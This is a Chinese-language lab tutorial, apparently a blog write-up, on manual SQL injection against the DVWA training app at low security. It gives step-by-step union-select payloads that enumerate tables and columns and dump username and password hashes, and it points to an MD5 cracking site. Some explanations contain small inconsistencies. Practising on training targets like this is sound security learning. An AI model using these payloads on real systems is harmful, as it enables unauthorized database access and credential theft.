=================================================================================
0x01:上low源碼
=================================================================================
0x02:sql注入(low)
一、sql注入的過程:
1.尋找注入點
2.判斷注入類型
3.判斷資料庫類型
4.擷取資料庫内容+提權
二、怎麼尋找注入點:
1.注入點特點:
①可以跟資料庫直接互動
②**?id=num**
? 是一種傳參的形式,必要的
id=1,有什麼用呢,它是用ID的值1與資料庫進行互動,進而獲得網頁内容的回顯
③如下圖所示,?id=1,成功傳回了網頁内容,與資料庫是直接互動的
2.注入點類型:
①get型:使用URL框注入
②post型:使用輸入框注入
③cokkie型
或
①字元型
②整型
三、怎麼判斷注入點類型:
get型的注入方法:
一般進去網頁後,會在id後面輸入,這樣的三個語句測試:
?id=1’
?id=1 and 1=1
?id=1 and 1=2
整型的判斷結果:
?id=1’ 報錯
?id=1’ and 1=1 正常回顯
?id=1’ and 1=2 不正常回顯
問:?id=1' and 1=1到底是什麼啊?好惡心?
答:?id=1' and 1=1的剖析
①? //這個符号隻是一個固定的傳參格式,必須存在
②id=1 //一個語句,用來向伺服器互動時候,調用id=1的内容
③and //一個邏輯判斷符号,邏輯與,衆所周知,隻有兩個表達式同時正确成立,才會運作該指令,才會與sql伺服器互動
④1=1 //恒真,一個真語句
⑤1=2 //恒假,一個假語句
⑥?id=1 and 1=1 //是一個真語句,會執行指令與伺服器互動
⑦?id=1 and 1=2 //是一個假語句,不會執行指令與伺服器互動
⑧總之,and 1=2 這個邏輯判斷語句就是,用來控制and前面的語句是否執行的
字元型的判斷結果:
?id=1’ 報錯
?id=1’ and 1=1 正常回顯
?id=1’ and 1=2 正常回顯
?id=1’ and ‘1’=‘1 正常
?id=1’ and ‘1’='1 不正常回顯
問:為什麼要加那麼多引号呢?花裡胡哨的。。。。。
答:?id=1' and '1'='1 剖析
①因為已知是字元型格式嘛,那麼這條語句實質上是: ?id='1' and '1'='1'
又,由于傳輸的時候,會自動在輸入的值得前後添加一對單引号,是以把最前和最後的單引号去掉就是:?id=1' and '1'='1
例字----post型的注入判斷,字元型判斷結果:
①輸入’
②結果為:’’’’’
問:你會發現,出現五個單引号,這是為什麼呢?
答:從内往外分析!
①一個單引号,這個是自己輸入的單引号
②還有一對單引号為什麼,因為,可能是字元型注入?然而字元型時候,系統會自動在參數的一前一後添加一對單引号,例如id='1'
③但是,還有一對引号呢?這個是報錯的提示,提示你時候使用單引号達到高亮的效果,隻是引住,起到強調的作用。
③輸入:1’ and ‘1’=‘1
結果如下:
④輸入:1’ and ‘1’='2
注意:結果也如下
三.判斷資料庫類型
略
四.擷取資料庫内容+提權
略
=================================================================================
0x03:low等級的手工注入過程如下
第一步:檢視注入點,很明顯的吧。。。。。
第二步:判斷注入類型
①輸入:
1'
//結果如下:報錯
②輸入:
1 and 1=1
//結果如下:正常回顯
③輸入:1 and 1=2
//結果如下:正常回顯
④輸入:
1' and '1'='1
//結果如下,結果如下:
⑤輸入:
1' and '1'='2
//結果如下,不正常回顯
由此判斷為:字元型注入。。。。。。。。。。。。。。。
第三步:判斷資料庫類型
1.dvwa使用的是mysql資料庫
第四步:開始注入資料庫,爆庫,提權等等
1.使用order by二分法猜測字段個數
①輸入:
1' order by 5
如圖所示:發現有錯誤
②輸入:
1' order by 5 #
//結果如下,這不是報錯,這個是顯示無法識别有5個列,說明莫得5個列
③輸入:
1' order by 3 #
//結果如下,顯示莫得3列
④輸入:
1' order by 4 #
//結果如下,顯示有兩個列
ID: 1’ order by 2 # //注意,這個是指令的回顯,隻是為了練習的友善,才顯示,正常情況莫得的
First name: admin //第一個列
Surname: admin //第二個列
2.聯合查詢:
①不需要再聯合查詢,嘗試哪個列中可以注入内容
因為:輸入:
1' union select 1,2 #
結果如下:first name和surname是有内容的
注意:聯合查詢的1和2隻是一個代數
②聯合查詢,把1和2換成database(),user(),version()等等檢視對應的資訊
輸入:
1' union select database(),user() #
結果如下:顯示了資料庫名字為dvwa,和使用者名稱為root,@隻是一個連接配接符,hostname為localhost
輸入:
1' union select version(),2 #
結果如下,顯示了資料庫版本為5.5.53
3.爆資料庫dvwa裡的表
方法1:一次性顯示表
①輸入,
1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' #
結果如下:一次性爆出了所有的表為:guestbook和users
方法2:一個一個的顯示
②輸入,
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
結果如下:有兩個表guestbook和users
4.爆出users表裡的列
①輸入,
1' union select 1,column_name from information_schema.columns where table_name='users'#
結果如下:爆出表users裡的内容,有8個列
5.爆出user列和passwd列裡的内容資訊
①輸入,
1' union select 1,group_concat(user,password) from users#
結果如下,但是有些雜亂,全都放到一起了
②輸入,
1' union select 1,concat_ws(char(32,58,32),user,password) from users#
注意:32為空格,58為冒号
結果如下:顯示了,使用者名:密碼
上圖中的密碼經過了md5加密,解密即可,如下,使用者admin的密碼為password
//解密網址:https://www.cmd5.com/
=================================================================================